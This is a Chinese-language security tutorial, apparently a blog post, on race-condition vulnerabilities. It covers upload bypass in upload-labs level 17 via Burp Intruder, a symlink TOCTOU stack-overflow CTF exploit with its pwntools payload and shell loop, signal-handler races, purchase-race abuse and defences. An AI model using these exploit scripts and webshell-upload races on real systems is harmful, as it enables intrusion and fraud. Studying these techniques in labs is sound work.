wen安全-条件竞争bypass上传
0x00 发生情景
文件上传后,检测是否合法, 不合法就删除
这就证明文件在服务器待过一段时间,只是存在时间很短,理论上还是可以去访问得到的
原理:
- 1、网站允许上传任意文件,然后检查上传文件是否包含webshell,如果包含删除该文件。
- 2、网站允许上传任意文件,但是如果不是指定类型,那么使用unlink删除文件。
在删除之前访问上传的php文件,从而执行上传文件中的php代码。
0x01 利用方法
- 限制:文件上传后不会改名
- burpsuite 不断发送上传的数据包
- burpsuite 不断请求上传后的文件地址
原理
条件竞争就是两个或者多个进程或者线程同时处理一个资源(全局变量,文件)产生非预想的执行效果,从而产生程序执行流的改变,从而达到攻击的目的。
条件竞争需要如下的条件:
并发,即至少存在两个并发执行流。这里的执行流包括线程,进程,任务等级别的执行流。
共享对象,即多个并发流会访问同一对象。常见的共享对象有共享内存,文件系统,信号。一般来说,这些共享对象是用来使得多个程序执行流相互交流。此外,我们称访问共享对象的代码为临界区。在正常写代码时,这部分应该加锁。
改变对象,即至少有一个控制流会改变竞争对象的状态。因为如果程序只是对对象进行读操作,那么并不会产生条件竞争。
条件竞争常见方法
线程、进程访问同一资源
给个例子:
#include <pthread.h>
#include <stdio.h>
int counter;
void *IncreaseCounter(void *args) {
counter += 1;
sleep(0.1); //Race window
printf("Thread %d has counter value %d\n", (unsigned int)pthread_self(),
counter);
}
int main() {
pthread_t p[10];
for (int i = 0; i < 10; ++i) {
pthread_create(&p[i], NULL, IncreaseCounter, NULL);
}
for (int i = 0; i < 10; ++i) {
pthread_join(p[i], NULL);
}
return 0;
}
创建10个线程,常理说应该线程应该按从小到大的顺序输出相应顺序的数字,但是由于counter是全局共享的资源,在race window的间隙里面可能多个线程对counter进行写、读操作,导致输出结果很难预料,如下:
➜ 005race_condition ./example1
Thread 1417475840 has counter value 2
Thread 1408755456 has counter value 2
Thread 1391314688 has counter value 8
Thread 1356433152 has counter value 8
Thread 1365153536 has counter value 8
Thread 1373873920 has counter value 8
Thread 1382594304 has counter value 8
Thread 1400035072 has counter value 8
Thread 1275066112 has counter value 9
Thread 1266345728 has counter value 10
Race Condition Enabling Link Following
原理是来源于文件两种不同命名方式
文件路径名
文件描述符
但是,将这两种命名解析到相应对象上的方式有所不同
文件路径名在解析的时候是通过传入的路径(文件名,硬链接,软连接)间接解析的,其传入的参数并不是相应文件的真实地址 (inode)。
文件描述符通过访问直接指向文件的指针来解析。
由于这种间接性,产生了时间竞争窗口race window,程序在访问某个文件之前,会检查是否存在,之后会打开文件然后执行操作。但是如果在检查之后,真正使用文件之前,攻击者将文件修改为某个符号链接,那么程序将访问错误的文件。
见下面的题目例子:
//gcc -o file file.c -fno-stack-protector 关闭canary
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <unistd.h>
void showflag() { system("cat flag"); }
void vuln(char *file, char *buf) {
int number;
int index = 0;
int fd = open(file, O_RDONLY);
if (fd == -1) {
perror("open file failed!!");
return;
}
while (1) {
number = read(fd, buf + index, 128);
if (number <= 0) {
break;
}
index += number;
}
buf[index + 1] = '\x00';
}
void check(char *file) {
struct stat tmp;
if (strcmp(file, "flag") == 0) {
puts("file can not be flag!!");
exit(0);
}
stat(file, &tmp);
if (tmp.st_size > 255) {
puts("file size is too large!!");
exit(0);
}
}
int main(int argc, char *argv[argc]) {
char buf[256];
if (argc == 2) {
check(argv[1]);
vuln(argv[1], buf);
} else {
puts("Usage ./prog <filename>");
}
return 0;
}
编译关闭pie、canary。
分析:
可以看出程序的基本流程如下
检查传入的命令行参数是不是 “flag”,如果是的话,就退出。
检查传入的命令行参数对应的文件大小是否大于 255,是的话,就直接退出。
将命令行参数所对应的文件内容读入到 buf 中 ,buf 的大小为 256。
看似我们检查了文件的大小,同时 buf 的大小也可以满足对应的最大大小,但是这里存在一个条件竞争的问题。
如果我们在程序检查完对应的文件大小后,将对应的文件删除,并符号链接到另外一个更大的文件,那么程序所读入的内容就会更多,从而就会产生栈溢出。
程序提供了showflag函数,可以通过溢出,覆盖main函数的返回地址为showflag地址得到flag,运行生成攻击溢出的脚本:
➜ racetest cat payload.py
from pwn import *
test = ELF('./test')
payload = 'a' * 0x100 + 'b' * 8 + p64(test.symbols['showflag'])
open('big', 'w').write(payload)
# 生成big文件用于替换原始文件
替换原始文件为更大文件(攻击文件big):
➜ racetest cat exp.sh
#!/bin/sh
for i in `seq 500`
do
cp small fake
sleep 0.000008
rm fake
ln -s big fake
rm fake
done
➜ racetest cat run.sh
#!/bin/sh
for i in `seq 1000`
do
./file fake
done
在上面sleep(0.000008)间隙里面,有可能通过check的检查,链接fake文件为big文件,使读取文件内容超出最大范围,导致溢出。
在同目录生成一个flag文件,内容为:flag{good-good}flag{good-good}flag{good-good}flag{good-good}flag{good-good}flag{good-good}
运行:(sh exp.sh &) && sh run.sh
如下:
open file failed!!: No such file or directory
file size is too large!!
open file failed!!: No such file or directory
open file failed!!: No such file or directory
open file failed!!: No such file or directory
flag{good-good}flag{good-good}flag{good-good}flag{good-good}flag{good-good}flag{good-good}
Segmentation fault (core dumped)
open file failed!!: No such file or directory
file size is too large!!关键在控制sleep的时间,过长导致替换失败,程序退出;过短有可能通不过check的检查。
Signal Handler Race Condition
条件竞争经常会发生在信号处理程序中,这是因为信号处理程序支持异步操作。尤其是当信号处理程序是不可重入的或者状态敏感的时候,攻击者可能通过利用信号处理程序中的条件竞争,可能可以达到拒绝服务攻击和代码执行的效果。比如说,如果在信号处理程序中执行了 free 操作,此时又来了一个信号,然后信号处理程序就会再次执行 free 操作,这时候就会出现 double free 的情况,再稍微操作一下,就可能可以达到任意地址写的效果了。
一般来说,与信号处理程序有关的常见的条件竞争情况有:
信号处理程序和普通的代码段共享全局变量和数据段。
在不同的信号处理程序中共享状态。
信号处理程序本身使用不可重入的函数,比如 malloc 和 free 。
一个信号处理函数处理多个信号,这可能会进而导致 use after free 和 double free 漏洞。
使用 setjmp 或者 longjmp 等机制来使得信号处理程序不能够返回原来的程序执行流。
不可重入函数可能导致条件竞争,可重入函数一定是线程安全的。
线程安全
即该函数可以被多个线程调用,而不会出现任何问题。
条件:
本身没有任何共享资源
有共享资源,需要加锁。
可重用
一个函数可以被多个实例可以同时运行在相同的地址空间中。
可重入函数可以被中断,并且其它代码在进入该函数时,不会丢失数据的完整性。所以可重入函数一定是线程安全的。
可重入强调的是单个线程执行时,重新进入同一个子程序仍然是安全的。
不满足的条件:
函数体内使用了静态数据结构,并且不是常量
函数体内使用了 malloc 或者 free 函数
函数使用了标准 IO 函数。
调用的函数不是可重入的。
可重入函数使用的所有变量都保存在调用栈的当前函数栈(frame)上。
实战演练
使用upload-labs靶场的第17关演示
第一步:获取基本信息
1.文件上传保存路径
2.文件是否改名
这里通过查看该关卡代码,文件保存在/upload/文件夹下,对php的文件名字也没有重命名
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}
第二步:抓取上传数据包发送到Intruder模块
设置payload为下图
然后暂时不要点击Start Attack
第三步:burp抓取请求木马的地址
然后按照图示设置payload
第四步
将第二步的数据包点击Start Attack ,然后把第三步的数据包同样点击Start Attack
大致的逻辑就是:
一边不断发送上传数据包 , 一边不断请求上传的文件
利用时间差,一旦访问到那个文件之后,就会在目录下生产一个1.php的木马文件
生成的一句话
条件竞争简介
竞争条件发生在多个线程同时访问同一个共享代码、变量、文件等没有进行锁操作或者同步操作的场景中。
开发者在进行代码开发时常常倾向于认为代码会以线性的方式执行,但他们忽视了并行服务器会并发执行多个线程,这就会导致意想不到的结果。
线程同步机制确保两个及以上的并发进程或线程不同时执行某些特定的程序段,也被称之为临界区(critical section),如果没有应用好同步技术则会发生“竞争条件”问题。
条件竞争漏洞其实也就是当同时并发多个线程去做同一件事,导致处理逻辑的代码出错,出现意想不到的结果。
条件竞争漏洞一般出现在与数据库系统频繁交互的位置,例如金额同步、支付等较敏感操作处。另外条件竞争漏洞也会出现在其他位置,例如文件的操作处理等。
漏洞原理
对于条件竞争漏洞比较经典的案例是转账、购买,也是条件竞争漏洞的高发场景。这里从数据库层面还原一个星巴克无限购买案例。直观解释下这个漏洞的原理,假设我们使用账户里的1000元购买10件100元的商品,正常购买流程为:
购买物品——>查询余额是否大于商品价格——>购买成功,余额-1000,商品数+1/购买失败,提示余额不足:
1) 查看数据库账户余额及物品数:
2) 点击购买,拦截数据包,设置intruder发送50个数据包,线程调到25后发进行并发请求:
3) 查看数据库的日志,可以看到对count的查看SELECT和更新UPDATE并不是线性依次执行的,所以导致在完成对count-1000的操作之前进行了另一次查询count仍为1000,最终结果是购买数量大于10,而余额为负数:
4) 解决方案通常是加“锁”,mysql执行事务前加BEGIN,后加COMMIT,从而锁定一次事务处理,使按序进行:
挖掘技巧
1)方法:
使用burpsuite的Inturder模块,将线程调到25进行多线程异步发包,也可以使用curl同时发包。通过查看多个异步请求返回的不同结果,比如11个测试中有10个相同,那一个包可能就是攻击成功的请求。
2)漏洞场景:
挖掘需要关注的功能点有:
购买:付款/购买/积分/订单操纵相关的漏洞
兑换:积分/优惠券/注册邀请码(案例1)
绕过次数限制(案例2)
多过程处理,如文件上传处理(案例4)
此外还可能存在DOS攻击(案例3)
特点总结来说就是——共享同一资源,生成其他结果。
3)注意:
这个漏洞具有偶现性,很受环境因素的影响,比如网络延迟、服务器的处理能力等,所以只执行一次可能并不会成功,尽量多尝试几次。
漏洞防御
1)对于业务端条件竞争的防范,一般的方法是设置锁;
2)对于文件上传,一定要经过充分完整的检查之后再上传;
1)对于业务端条件竞争的防范,一般的方法是设置锁;
2)对于文件上传,一定要经过充分完整的检查之后再上传;
3)在操作系统的角度,共享数据要进行上锁保护。
- 点赞
- 收藏
- 关注作者
评论(0)